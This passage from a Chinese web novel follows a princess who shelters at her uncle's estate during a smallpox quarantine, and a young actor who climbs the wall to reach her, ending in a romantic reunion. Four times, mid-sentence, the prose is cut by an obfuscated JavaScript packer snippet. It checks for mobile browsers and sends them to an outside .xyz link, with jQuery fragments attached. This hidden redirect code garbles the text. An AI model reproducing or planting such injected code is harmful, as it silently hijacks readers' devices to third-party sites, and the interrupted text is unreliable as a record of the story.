“既然如此,看来这痘疫是来势汹汹了。”苻庆皱眉,“怎么会这样呢?我们才离府没几天啊。” “剩下的事情,公主您自己看信吧。”松醪将那封信递给了苻庆。 苻庆拆开信,杜至善的笔迹看起来有些潦草,想必是在很匆忙的情况下写下了这封信。 在信中杜至善告知苻庆,昨日一大早便有下人禀报,公主府中有两位婢女高烧不退,看起来像是得了痘疫。杜至善不敢掉以轻心,先给兵部告了假,又赶紧唤了大夫来瞧,最终大夫确定那两个人确实是得了痘疫,必须赶紧转移出公主府,而公主府的其他人也最好先被关在府中不要走动,免得痘疫泄露出去。 这是京城,有数以百万计的百姓,更不要提还是天子脚下,若是真的由公主府传染出去了痘疫,那苻庆的罪过可就大了。想到此,杜至善便赶紧封闭了公主府,并且赶紧写信通知苻庆,希望苻庆能够在外头暂避,五日内不要回公主府。 看完信,苻庆有些无奈,又不知道公主府中的情况怎么样了,最终只能重重叹了口气。 “通知大内了吗?” 松醪点头,“公主放心,皇宫对于痘疫这类疾病有自己的一套通禀系统,奴婢已经让人给大内送过消息了,除此以外还通知了贵妃娘娘。” “也好,姨母心善,必然会多派几个太医过去看看。虽说封闭公主府能够让疾病不传出来,但到底都是人命,能多救一个人便是一个人。” 松醪点头,但面上却是一副欲言又止的样子,苻庆不知道她想说什么,开口询问道:“怎么了?” “公主对于宫正司的规矩并不了解所以不清楚此事,但奴婢记得一旦宫中的奴婢得了痘疫,便都会被拉到永巷中偏远的厢房隔离起来,说白了便是让他们等死。” 苻庆一愣,却又觉得这种安排倒也符合大内的一贯作风,有些说不出话。 “那照这样说来,这些人是没有救了?” 松醪摇头,“不仅如此,公主想这些奴婢若是被宫中带回去了,那公主府不就缺少人手了吗?” 苻庆猛然想起杜至善说过的话,“你的意思是说宫中不会再派 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446168|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人过来,而是会让我们自己买奴婢进府?” “若驸马执意坚持,宫正司也不会反对的。”松醪的眉头微皱,“公主,看来驸马爷的愿望实现了。” 苻庆一把将那封信摔在地上。 松醪连忙扶住苻庆,“公主,您先别着急,说不定这只是巧合呢?” “去查,到底是巧合还是人为,就算公主府现在被封住了,那大夫总还是可以找到的。不论是外头的大夫还是宫中的太医,总之我要知道真相。” 松醪看出苻庆动气,应下后赶紧走出屋安排这件事。而苻庆缓过几个呼吸后,才感觉自己逐渐平复下来。 “杜至善,我看你也是铁了心要与我对着干了。”苻庆的手指不自觉地捏住了床单。 苻庆用过早饭松醪才回来,现如今公主府正处在风口浪尖之上,若想调查只能等待。苻庆此时也已经心态平和了,听过松醪的安排后点点头,让松醪先下去吃饭。 没一会,英国公被下人推了过来。 “阿庆,我听闻公主府出事情了?” 苻庆点头,将杜至善发现府中出了痘疫的事情告知了英国公。 “出痘这种事可不能轻举妄动,反正公主府是一定要封个三五日了,正好你也在我这安下心,好好地多住几日。” 苻庆一想到自己未来能够心无旁骛地在英国公府多休息几天,刚才心中因为杜至善发的火都被冲散了。 “好!大伯您别嫌我叨扰您就好。” 英国公笑着摇头,“这算什么叨扰?府中不过就我们两个人,你愿意住我们求之不得,只要你不嫌大伯这偏远,没什么好玩的就是了。” “我才不出去玩,我就想过几日自由自在的日子!” 起初苻庆还想着自己到底是住在长辈家中,按道理应当去瀚海山居日日晨昏定省。但英国公一句话便免去了苻庆这些无谓的客套,只让苻庆当做是自己家中,每日到瀚海山居陪自己吃一顿午饭便好了。 就这样,苻庆在英国公府中心安理得地住了下去。接连住了三日,苻庆只觉得自己好像都吃胖了一些,整个人都显得容光焕发了,就连英国公吃午饭的时候都夸赞苻庆说:“又有些从前在定州的样子了。” 苻庆咽下嘴里的肉,撅着嘴巴问英国公,“大伯别是绕着弯子说我胖了吧?” 英国公哈哈大笑,下巴上的胡子都跟着一抖一抖。“胖点有什么不好的?在咱们定州,这叫壮实。这样的姑娘才好,看着就能独当一面!” 苻庆也跟着英国公笑,笑过之后又往盘子里夹了块排骨。 至于公主府那边,由于宫中太医去过后认为传染人数不少,大内便立刻派了皇城司前来守门,真的将公主府围得如同铁桶一般。松醪让人去询问了太医,也调阅了太医局的出诊档案,都只能看出最先感染痘疫的是两个婢女,而且病情较为严重,自从被挪出去之后便没了音讯。 苻庆明白,大概率人已经没了。 但府中的情况也并没有改善,虽说苻庆已经下令一定要太医尽力为府中的人医治,但为了避免交叉感染,还是只能将病情较为严重的病患挪出公主府。虽说皇城司已经将公主府围了起来,但每日都有抬出去的病患,看起来府中的情况也并不乐观。 得知这些消息后,松醪很是疑惑。 “公主,虽说驸马能够独居一个院子,与下人们的接触也很是有限,但到底被封在一起,他难道就不害怕被传染吗?” 79. 翻墙 苻庆躺在贵妃榻上用团扇给自己扇风,手里还捏着下人刚送过来的樱桃。 “你去杜府找个资历老的下人问问,杜至善是不是已经出过痘了?” 松醪摇头,“奴婢已经找人去杜府问过了,连着找了两个在府中待了七年以上的老人,都说驸马爷从小就没有出过痘。” 这倒是出乎了苻庆的意料。 “这个杜至善不会真的这么疯吧?为了安插自己的人进公主府,连自己的命都可以拿出来搏一搏?” 松醪轻声开口:“公主,若是驸马爷真的这样打算,奴婢倒觉得这人有些可怕。” 苻庆将樱桃送进口中,便咀嚼着便说道:“为达目的不择手段的人咱们不是没见过,但还真是很少见到能够为了达到目的连自己的生死都置之度外的人,像这种人都是为着图什么呢?” 松醪被苻庆的话逗笑,“公主还是多想想自己吧,怎么还操心起驸马爷的事情来了?” 苻庆摆摆手,伸手捏了一颗樱桃递给松醪。 “这樱桃是大伯刚差人送来的,我尝着真的很甜。” 松醪接过樱桃送入口中,确实甘甜。 “反正有皇城司在,咱们一时之间也查不到府中的详细情况,便先在这等着吧。杜至善为着下这一步棋,连自己的命都可以不要,我反倒觉得咱们正应当顺了他的意。” 松醪明白苻庆的意思,笑着说道:“公主的意思是,引蛇出洞?” “没错。”苻庆又丢了一颗樱桃到嘴里,“既然杜至善想动,那咱们就让他动。毕竟只有他行动了,咱们才能更好地找到把柄。” “只是驸马爷的行动很是隐秘,这次便让咱们有些措手不及。” “好说,他不就是有一个决明在身边吗?”苻庆笑一笑,“回去之后我便给决明挑一个好差事,咱们公主府也有些田庄地产,可是该好好巡一巡了。” 松醪点头,主仆二人相视一笑。 吃过樱桃,苻庆与松醪在院子中走了走,很快便到了用晚饭的时间。看着桌上清一色的定州美食,苻庆只能无奈地又饱餐了一顿。 待月亮挂上枝头,英国公也逐渐沉寂下去。英国公晚上大多待在瀚海山居的书房中,国公府中也没几个下人走动。 今晚,英国公正一个人在书房中临帖。 木质大门忽然被推开,英国公抬眸看过去,竟是婉娘走了过来。 婉娘虽说与英国公同住瀚海山居,但一直都是住在厢房中很少外出。府中下人都知道这个国公夫人脾气古怪不爱见人,刚入国公府的时候还狠狠罚过下人,因此也没有人敢在背后嚼舌头,只盼着不要惹火上身就好。 看着婉娘将门扉掩上,英国公也已经放下了笔。 “可是有什么要紧事?” 婉娘走到英国公身边,轻声说道:“国公爷,有人从后花园那边翻墙进来了。” “什么?”英国公有些意外,“他们胆子也太大了吧?前几日好歹还是借本王寿宴之际悄悄潜入,怎么这会都敢明目张胆直接往我府里闯了?” 婉娘的话并没有说完,见英国公生气,连忙说道:“国公爷,您先别急。” “我怎么不急?”英国公一拍桌子,“这个不必留活口了,赶紧杀掉扔出去,别脏了咱们国公府的地。” 婉娘面露难色,“国公爷,这个人您还真的不能杀。” 英国公看向婉娘。 “奴家之所以先过来禀报国公爷便是因为,这人也算是咱们的旧相识。” “谁?” “就在前几日国公爷寿诞之际,咱们府不是找过一个戏班子过来唱堂会吗?” 英国公灵光一现,“程……程什么香?是不是那个人?” 婉娘点头。 “奴家记得国公爷当时便嘱咐过不要为难他,就连被他发现密道都没有动手,奴家便想着这次是不是也要……” “不必管他了,我知道他是来干什么的。”英国公重新回到书桌前,拿起毛笔在砚台上轻轻蘸墨。 “国公爷知道?”这下轮到婉娘惊讶了,“国公爷知道什么?” “哦对!还有一事你赶紧去办。”英国公指着婉娘说道,“你派两个人给那个叫什么香的指条路,省得他又不知道摸到哪去了。” “国公爷的意思是要指到哪去?” “当然是……”英国公指了指门外,一字一顿说道:“听松居。” 婉娘此时才明白英国公为何对于这人很是放心,也明白了之前英国公为何愿意轻而易举的便放过了这个人。 看着英国公的样子,婉娘走上前为英国公继续研磨,嘴上嗔怪道:“国公爷都一把年纪了,怎么还是这样不正经?公主好歹也是成了亲的人了。” “一没有父母之命二没有媒妁之言,那算哪门子的亲?”英国公不屑一顾,“再者说,我相信阿庆,她若是真的喜欢杜家那小子便早就与这个小伶人断了,只可惜她这门婚事恐怕没那么好了结。” “可那人毕竟只是个戏子啊,国公爷不怕苻坚将军与夫人不愿意吗?” 英国公瞥了婉娘一眼,“不是你追着余家那小孩跑的时候了?怎么从你嘴里还能说出这种话呢?” “国公爷!”婉娘将墨锭放下,“咱们不是说好了再不提那个负心人了吗?” “我不提是小事,只怕到时候进了京你也由不得我不提啊。”英国公这话说的坦坦荡荡,“我已经准备好将余家那小子调到我身边来了,兵部水深,有他在旁边我才能放心。” “国公爷若是要用他奴家没意见,但这不等于奴家还会与他有什么牵扯。”婉娘眉头一皱,“奴家早说过了,奴家与那个人桥归桥、路归路,再无瓜葛。” 说完,婉娘福身,“奴家还要找人去为程伶人引路,先告退了。” 看着婉娘几乎是落荒而逃的背影,英国公笑着摇了摇头。 “也就是提到余川,婉娘还能再露出这么鲜活的模样。” 与瀚海山居中气定神闲的状态不同,此时的程怜香正捂着心口躲在后花园的一座假山后面喘粗气。 今夜翻墙的事情是程怜香一拍脑袋决定的,真的实施了才发现并不简单。先不说这英国公府地形复杂,程怜香也太认识路,便是最重要的一项程怜香到现在都没有想到解决方法。 那就是苻庆现在到底在哪。 至于程怜香为什么要如此仓皇地翻墙而来,这事还得从几日前说起。 自从那日程怜香在圆柏商号兑换走了八百两现银后,便一直蹲在和春班等着苻庆上门质问自己,即便苻庆自己不来,至少也能见到松醪。 谁知一连等了几天,苻庆没有等到,松醪也没有来,倒是程班主因为院子里藏了这么大一笔钱导致晚上睡不着觉,眼见着人便憔悴了下去。 顾仙人来瞧过一次,走出屋子后便勒令程怜香赶紧将银子还回去,免得程班主被折磨出了什么毛病。此时程怜香也发觉自己兑银这招一点用都没有,也就认命将银子送了回去。 这次到圆柏商号还是掌柜亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446169|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自接待的,但不知为什么,程怜香总觉得对方看着自己的眼神怪怪的,可是等到自己再看回去的时候,对方又赶紧收回了视线。 如此几个来回,程怜香终于忍不住了,他这几日本就因为被苻庆晾在一边感到不快,现下好不容易找到了一个出气的窟窿。 “掌柜的,您是不是有什么话要对我说呀?” 掌柜吓了一跳,赶紧摆手说道:“没有,没有啊。” “那你一直盯着我做什么?”程怜香没好气地说道。 掌柜见程怜香发现了自己偷偷看他,只能露出了一个尴尬的笑容,连忙走出柜台引着程怜香重新坐下。 “贵客莫怪,小的只是有点惊讶。” “惊讶什么?难道你认识我?” “那自然是不能的,贵客身份尊贵,怎是我们能够认识的?”掌柜赶忙给程怜香端了一盏茶过来,“只是小的见您上次给的银票是长公主府的,本以为您是长公主府的座上宾,却没想到长公主府被封了还能见到您,这才多瞧了您几眼。” “长公主府被封了?”程怜香的眉毛立起来,“这是什么时候的事?公主她怎么了?” “贵客还不知道吗?”掌柜很是惊讶,连忙凑到程怜香身边轻声说道:“就是今天一大早的事。听说长公主府有几个下人感染了痘疫,已经死掉了。上头知道了这件事,赶紧让皇城司将长公主府整个封起来了。” 程怜香站起身,“都封起来了?那公主怎么办?公主还在府里吗?” 掌柜被程怜香突然的动作吓了一跳,却还是继续说道:“那可是痘疫,一不留神是要死很多人的。就算长公主再受陛下疼爱,这时候也只能被关在府中啊。我听说,长公主那刚成婚不久的驸马今日便没有去宫中,想必也是关在府里了。” 掌柜话刚说完,程怜香便向外走去。掌柜一把拉住程怜香的胳膊,“贵客,银票我还没给您呢!” “不行,我得去看看苻庆!” 听到程怜香直呼长公主大名,掌柜只觉得自己脑袋里的疑惑又多了一些,但还是拉着程怜香说道:“贵客,现在皇城司已经长公主府封起来了,即便您过去了那也是进不去的啊!” 程怜香现在满脑子只有苻庆一个人被关在屋子里的样子,“不行!我得去看看!他们不能这样做!” “贵客!”还好掌柜力气大,最终还是扯着程怜香坐回到了椅子上。“您要是实在不放心,那也得等到晚上月黑风高的时候才好翻墙过去啊。现在青天白日的,您这不就是明目张胆地往枪口上撞吗?” 掌柜这句话终于提醒了程怜香,现在过去确实没什么用,就他这个连掌柜都敌不过的体格,必然是打不过人高马大的皇城司。 那就等到晚上翻墙吧。程怜香在心中悄悄说道。 掌柜见程怜香终于安静了下来,还是劝了一句,“贵客,你可别怪我没提醒您,那可是痘疫,不是闹着玩的。您若是从前感染过倒也罢了,若是没得过还是别过去凑热闹了。您小心进去容易,出来可就难了。” “掌柜的您放心吧,我只想要进去,没想过出来。”程怜香说话的时候很平静,好像说得并不是自己,“若是我进去后再出来,岂不是要让整座京城陷入痘疫的威胁?” 见程怜香虽然莽撞,但到底还没有失去理智,掌柜心中暗暗呼出一口气。 等到伙计称好了银子,掌柜将银票交到了程怜香手上。 “贵客,万事小心。” 程怜香点点头,走出了圆柏商号。 80. 大雨 当天晚上,程怜香便换了一身黑衣服来到公主府附近。 还没走到公主府所在的街巷,程怜香已经感觉到街上行人都变得稀少,这对于人口密集的京城来说确实是一件稀罕的事情,看来公主府出事了应当是板上钉钉的事情了。 程怜香靠近的是公主府的角门,这里通往的几座院落都没有住过人,相对来说应当更加安全一些。程怜香这样想着,从黑暗中闪身走出。 “王大哥,今晚这月色还挺亮堂呢,看来明日还是个好天气。” 程怜香又闪身回到了黑暗中。 不一会,两个身着皇城司官服的男子挎着刀走了过来,看样子是来巡逻的。 “还好还好,若是下雨这痘疫可就更加危险了。” “大哥说的没错,这疫情就最怕下雨了。” “说来也真是蹊跷,这公主府好端端的,怎么会忽然有人得了痘疫呢?” “对啊,这长公主刚成婚不久府上便遇到这种事,实在是晦气。” 两个人都叹了一口气。 “你听说了吗,今日下午又从里头抬出去四个。” 另一个大约是点了点头,“听说了,看来这痘疫来势汹汹,府中的人性命可真是堪忧啊。” 听到这,程怜香默默捏紧了自己的衣角。 “不过也算是不幸中的万幸吧,璇玉长公主不在府中,要不然只怕贵妃娘娘又要难过了。” “是啊,贵妃娘娘把长公主看得好像自个眼珠子似的。还好公主昨日探望国公爷去了,否则以长公主的脾气,这还不知道会闹成什么样子呢。” “只怕得鸡飞狗跳的了……” 二人说着话,很快便走远了。 待二人走远,程怜香也从阴暗处走了出来,接着便往相反的方向走去。 虽说这两人并没有提到苻庆去了哪里,但能够让苻庆前去探望又彻夜不归的,也就英国公这一个去处了。 现下已经是深夜,程怜香找不到地方租马车,只能先返回和春班,等到第二日一早再做安排。 京城的马车很是紧俏,程怜香一大早便出去询问,直到接近正午才找到一家能够租车的马车行,因此到达英国公府时已经傍晚,天都擦黑了。 程怜香不是没想过走正门,但想了想又觉得自己的身份实在是不配敲英国公府的大门,即便敲开了他也不知道该说什么,难道说自己是百里加急来给长公主自荐枕席的吗? 再加上昨天的热血还在激励着他,程怜香上次到英国公府的时候便记得后花园那边很是僻静,到了晚上几乎没有人过去,实在是一个适合翻墙的好地方。 第一步进行得很顺利,然而翻进来之后就卡了壳。程怜香此时才意识到这里比不得公主府,他对于地形很不熟悉不说,甚至都不知道苻庆住在哪里。 就在程怜香躲在假山后面犯难的时候,忽然听见两个婢女由远及近的脚步声。 “好姐姐,您这是要往哪去啊?” “我要往听松居去,国公爷吩咐了让我把这盘糖耳朵送到长公主那里。” “哦,原来是听松居啊!”那婢女的声音似乎更响亮了一些,“那不就从这左拐绕出去就行了。” “是啊,我过去放下糖耳朵便走,国公爷吩咐了长公主喜欢安静,不允许我们在附近走动,免得打扰了公主。” 二人说着话走远了,其中一个婢女往后瞧了瞧,接着低声询问另一个婢女说道:“姐姐,这样就没问题了吧?” 另一个婢女也回头看了看,低声回答道:“应该是没问题了,若是这样他还找不过去,干脆笨死算了。” 假山后的程怜香当然不知道这是一场专门为了他排练的戏,只以为自己实在是幸运。还好他记性好,从后花园到听松居的路还记得清清楚楚,又担心那两个婢女去而复返,因此赶紧踏着月色出发了。 听松居中,苻庆已经换上了寝衣,一袭乌黑的长发被编成一条麻花辫垂在胸前。松醪端着糖耳朵推开门走进来,“公主,国公爷让人送糖耳朵来了。” “快拿过来!”苻庆高兴地蹦了两下,“大伯真是生怕我长不了肉。” 松醪看苻庆迫不及待往嘴里塞糖耳朵的样子,笑着说道:“问题是奴婢瞧着公主也没少吃啊。” “松醪!” 松醪笑着躲开苻庆的捶打,将苻庆换下来的衣服叠好抱起来。 “公主,咱们带的衣服不够了,奴婢得把这些衣服送去洗一洗。” 苻庆点头。 “我瞧着天要下雨,你快去快回,我给你留几块糖耳朵吃。” “糖耳朵油太大,奴婢可无福消受,还是公主自己慢慢吃吧。”说完松醪便往外走去。 苻庆走到门边帮松醪开门,“你记着,若是一会下了雨别着急回来,这个点京城都是雷阵雨,躲一会雨便停了。” “放心吧,公主。”松醪福一福身,转身走了出去。 苻庆将大门关好,走回来继续吃糖耳朵,她直接用手抓着吃的,这会只觉得手指头上染上了糖耳朵的甜腻。 没一会,一道闪电劈开了乌黑的夜色。 苻庆被那一声雷唬得吓了一跳,连忙走到窗边查看,果然见外头已经下起了大雨。 “也不知道松醪有没有被雨淋到?”苻庆自言自语道。 刚拿起一块糖耳朵,苻庆便听见有人敲门,她以为是松醪回来了,赶紧跑过去开门。 “松醪,你淋到了没……” 定睛一看,门外站的并非是松醪。 程怜香身上已经湿透了,头发也凌乱地贴在脸上,身上的衣服被雨淋湿后看不出颜色。只有一双眸子,不仅没有被雨水打湿,反而变得更加晶莹透亮了。 苻庆被这双眸子刺得吃了一惊。 “程怜香?” “公主。”程怜香并不进门,只是站在原地近乎贪婪地看着苻庆的脸。 “你,你怎么在这?你是不是被淋湿了?”苻庆很少感到自己有如同此刻般语无伦次的时候,她侧过身子让出一条路来,“你快进来吧。” “公主身体还好吗?”程怜香的声音有些哽咽。 “好啊?”苻庆忽然想起公主府的事情,连忙说道:“我没事,公主府出事的时候我已经出来了。” “那就好,那就好……”程怜香垂下眼睑,喃喃自语道。 苻庆不知道程怜香是怎么回事,更不知道程怜香究竟是怎么过来的。 “你……是什么时候过来的?” “今晚,刚到。” 苻庆继续试探着问道:“那你……是被大伯邀请过来唱戏的吗?” “不是,我是自己翻墙进来的。” 苻庆只觉得自己有一瞬间好像失去了听觉,愣了一刹才意识到程怜香是在说什么。 “那你还站在这里干什么?你生怕国公府的人发现不了你是不是!” 下一霎,程怜香便被苻庆一把捞进了屋里。 屋内的烛火晃了程怜香眼睛一下,他扭过头避开烛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446170|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火。苻庆看到了,转身将那盏蜡烛移到了旁边的桌子上。 “你还没告诉我,你是来干什么的?” 程怜香抬起头,看见苻庆整个人都扎在柜子里。不一会,翻出一身叠好的衣服。 “这是我从公主府带过来的,可能有点小,但也比你身上这身湿衣服好,你先把衣服换了吧。” 看着被苻庆塞进自己怀里的衣服,程怜香忽然感觉自己嘴巴被糊住了。 “你把衣服换了吧,别着凉了。” 苻庆的态度很是坦然,坦然到程怜香都开始怀疑之前二人之间的暧昧是不是只是自己幻想出来的产物,实则什么都没有发生过。 “我……”程怜香感觉自己脸有些发烫,终于开始为自己不管不顾的行为感到不好意思。“我不换了……” “那怎么能行?穿着湿衣服是一定会着凉的,你不会想生病吧?”苻庆凑到程怜香面前看着他的眼睛问。 程怜香招架不住,连忙避开了眼睛。 “你到底在磨蹭什么啊?赶紧换了就是。”说完,苻庆已经走上前拉程怜香的腰带,程怜香今日穿的道袍,只用了一根很细的丝质腰带束住,被苻庆一把就扯了下来。 没有了腰带的束缚,衣服马上就变得松松垮垮。程怜香一惊,连忙用手中的衣物挡住了自己的胸口。 “公主……” 苻庆却还不肯罢休,走上前直接开始拉扯程怜香的衣襟。道袍本就放量很大,三两下便被苻庆扯开了,露出来一个肩膀。 程怜香仍然用衣服遮掩着胸口,还要与苻庆做着对抗,根本没工夫拉起自己的衣领,只能任由自己的肩膀在外头暴露着。 “公主!” 苻庆终于松开了手,程怜香以为是自己声音太大惹恼了苻庆,本能地抬头看向对方。却发现苻庆不仅没有生气,甚至还在笑。 “程怜香,你能不能赶紧把衣服换了?咱俩现在这个样子,特别像我要强抢民女。” 程怜香赶紧将自己衣领子捞上来。 “别挡了,我都看见了,不就是挺白一个肩膀头子吗?好像谁没有似的。” 程怜香被苻庆说的脸白一阵红一阵,最终只能羞愤难当地瞪着苻庆。 “公主,你又羞辱我。” “我……”苻庆被程怜香的话堵得一愣,转身坐在了凳子上。“我就是怕你生病而已,你要是不想换,把衣服还我。” 程怜香抱着衣服走上前。 “还我之后你就赶紧走,我怕你生病了传染给我。” 程怜香又站住了。 苻庆坐在圈椅上好整以暇地看着程怜香,他们待在一起的时间久了,以至于苻庆只是看着程怜香便知道他正在内心中纠结。 “行了,你若是不好意思,我转过身好了吧?”说完,苻庆坐在凳子上转了个身,“现在我看不见你了,你换衣服吧。” 很快苻庆身后便传来窸窸窣窣的声音,程怜香边换衣服边提心吊胆,生怕苻庆忽然转过身给自己一个措手不及。不过直到他换完衣服,苻庆都稳坐泰山,半点要转过来的意思都没有。 一开始苻庆想要扒程怜香衣服的时候,程怜香担心苻庆是在拿自己打趣,可这会发现苻庆对自己的身体一点兴趣都没有,又忽然有些失落。 他回想起自己在圆柏商号取走的八百两现银,最终也并没有换得眼前这个女人来看自己一眼。 也许在她心里,自己已经是不重要的人了。 “公主,我换好了。” 81. 真心 苻庆回过身,自己特意找了件宽松的褙子还是对的,至少能把程怜香完全包裹在里头。 湿衣服被程怜香抱在怀里,“湿衣服我……我拿着吧……” “你还拿着干什么?一会也送出去让国公府帮忙洗了吧。”苻庆自然地从程怜香手中将湿衣服扒出来,随手扔在了一旁的圈椅上。 “冷吗?要不要擦擦头发?” “不用了公主,我已经给你添麻烦了。”程怜香的声音低沉,有一抹化不开的雾气罩在上面。 “知道添麻烦了你还翻墙进来?你自己说说,这让我明日怎么给我大伯解释?” 苻庆的话无疑又给了程怜香一记重击,在他听来苻庆的话语中只有对自己的不满,以及想要划清界限的距离感。 程怜香在心里想要给自己一个巴掌,恨自己是个傻子,什么都没想就冲了过来,却忘记苻庆一贯是个说到做到的人,上次分别的时候苻庆已经将话说清楚了,他们之间再无瓜葛,偏偏他又这样死缠烂打地追了过来。 “对不起,是我唐突了,我这就走。”程怜香垂着头,说完话连看一眼苻庆的勇气都没有便急着向外走去。 “程怜香!”苻庆一把拉住了程怜香的胳膊,“下这么大的雨,你要往哪去?” “我……我要回去,我要回去了。” “回去?你刚才莫名其妙的来,现在又要莫名其妙的走?程怜香,你当这是什么地方?你当我是什么人了?” 听着苻庆话中带气,程怜香连忙解释道:“你别误会,我什么都没想,我只是听说公主府闹了痘疫,担心你有事才过来看看你。” 程怜香低着头,像个知道自己做错了事情的小狗。 “我知道我错了,公主……您大人有大量,别告发我……” 苻庆松开手,走到程怜香跟前,歪着头瞧程怜香的脸。程怜香也反应过来苻庆是在看自己,赶紧将脸撇到了一边。 但只是一瞬间,苻庆已经看清楚了程怜香脸上的水渍。 “你哭了?”苻庆有些惊讶,话说出口又觉得不对,“哦,是不是脸上的雨水没擦干净?” 程怜香连忙抬起手用袖子擦了擦脸,却在擦完之后才想起这是苻庆的衣服,尴尬地立在了原地。 “我这衣服可是很贵的,你弄脏了赔得起吗?” 程怜香真后悔自己为什么要换上这身衣服,赶紧说道:“我这就把衣服脱下来还给公主。” 手刚摸上衣襟,程怜香便意识到已经换下的湿衣服不在手边。抬眸看向那团被苻庆丢在圈椅上的湿衣服,程怜香刚想伸手去拿,却被苻庆先一步拿过湿衣服,随手扔在了一旁的地上。 程怜香看向苻庆,对方的脸上带着一丝挑衅。 “你不是要把衣服还给我吗?脱啊。” 程怜香只感觉自己的喉咙好像被人掐住了,手指不自觉地握住衣服,看着苻庆一句话都说不出来。 他知道苻庆此时是故意的,故意看自己如此局促,偏偏他又什么也说不出来。 半晌,程怜香松开了手。 “公主,我错了,您……将我交给英国公吧。” 苻庆轻笑一声,走到程怜香身旁看着他,面上露出了满意的笑容。 “这才像话,做错了事就要承担责任。” 程怜香只感觉自己的心已经沉到了冰冷的水底,此时已经不再说话,眼神呆呆地看向前方。 被交给英国公是什么下场,程怜香猜也能猜到,但此时他更难过的是苻庆对自己的态度,看起来苻庆真的已经放下了。 “现在你可以说了吧,到底找我有什么事?” 程怜香咬了下嘴唇,“就是想来看看你。” “看我?若真的只是看我,你先前去圆柏商号取了八百两现银又是为什么?难道是为了给我买见面礼的吗?” 听着苻庆的话,程怜香只觉得有一把小刀在一点点割他的心,痛得他闭上了眼睛。 “我先前去取现银,是想要见你一面,见你一面有话要对你说。” “说什么?” 程怜香最后几乎是用气声开口:“说……我愿意。” 苻庆看向程怜香,她理解程怜香所说的愿意是什么意思,却又不明白程怜香为什么要对自己说这个。 “你说什么?” “我本来想对公主说我愿意陪在公主身边,但没想到已经不重要了。”程怜香强撑着说出这句话,尽量用平静的语气开口,“多谢公主还愿意给我这身衣服,是我冒犯了公主,我甘愿受罚,公主把我交给英国公吧。” “你愿意?”苻庆又重复了一遍程怜香的话,“那你的戏呢?你的师父呢?你就都不要了?” 程怜香本觉得现在说这些话已经没了意义,但这些话在他心中憋了太久,最终还是没忍住一吐为快的冲动。 “顾老仙告诉我了,那些话都只是师父骗我们玩的,只有我当真了。我知道后便想着将这件事告诉你,再也没有东西横亘在我们之间了。只要能和你在一起,什么苦我都愿意受,哪怕只是一辈子在公主府做个面首。” 听了程怜香的话,苻庆一愣。 “只是我没想到公主已经不想要我了……”程怜香还是没忍住哽咽,连忙低下头避免眼泪流出来,“这都是我的错,我太自以为是了,以为公主会一直在原地等着我……这都是我的错……” 程怜香已经说不出话,不必抬头他都能想到苻庆现在是用怎样的一种眼神看着他。恍惚间,程怜香只觉得自己好像是一只被拔光了毛的鸭子站在苻庆面前,不论他怎么遮挡,都无法掩盖住他那颗愚蠢到不合时宜的真心。 一滴眼泪落在地上,程怜香慌不择路地向外走去,却被苻庆再一次拉住了胳膊。 “我不是想逃走,我只是不能在这继续待着了……”程怜香带着哭腔说道。 “为什么?为什么不能在这继续待着了?” “因为……我已经没有了在这继续待着的理由。” 之后是漫长的沉默,程怜香缓缓闭上了眼睛,打算狠下心挣脱开苻庆的手。 “那我给你一个理由。” 程怜香猛地睁开眼睛。 下一霎,吻已经铺天盖地的淹没了他。 先是脖子,再到耳垂,之后是脸颊,最后是嘴巴。 程怜香只觉得自己好像已经进入了梦中,可是身体上的感觉又是那么真实,一股温热从体内逐渐升腾而起,将刚才他心中的碎片悉数带走。 再睁开眼睛,程怜香只觉得自己依然是泪眼朦胧,但现在的眼泪已经与刚才不是一个意味了。 苻庆的脸离程怜香很近,她笑得狡黠,一只手抚上程怜香的眼睛说道:“程怜香,你眼尾都染红了。” “公主,我……”程怜香噤了声,因为他发现自己的声音就像是在娇嗔。 苻庆也发觉了这件事,笑的如同奸计得逞的小狐狸崽子。 程怜香只觉得屋里的温度好像在升高,刚才匆匆套上的衣服仿佛一层棉被裹在身上,只逼得他想要将这层布料脱下来。 “热了?” 程怜香睁开眼,微微点头看着苻庆。 苻庆伸出手,点了一下程怜香的鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 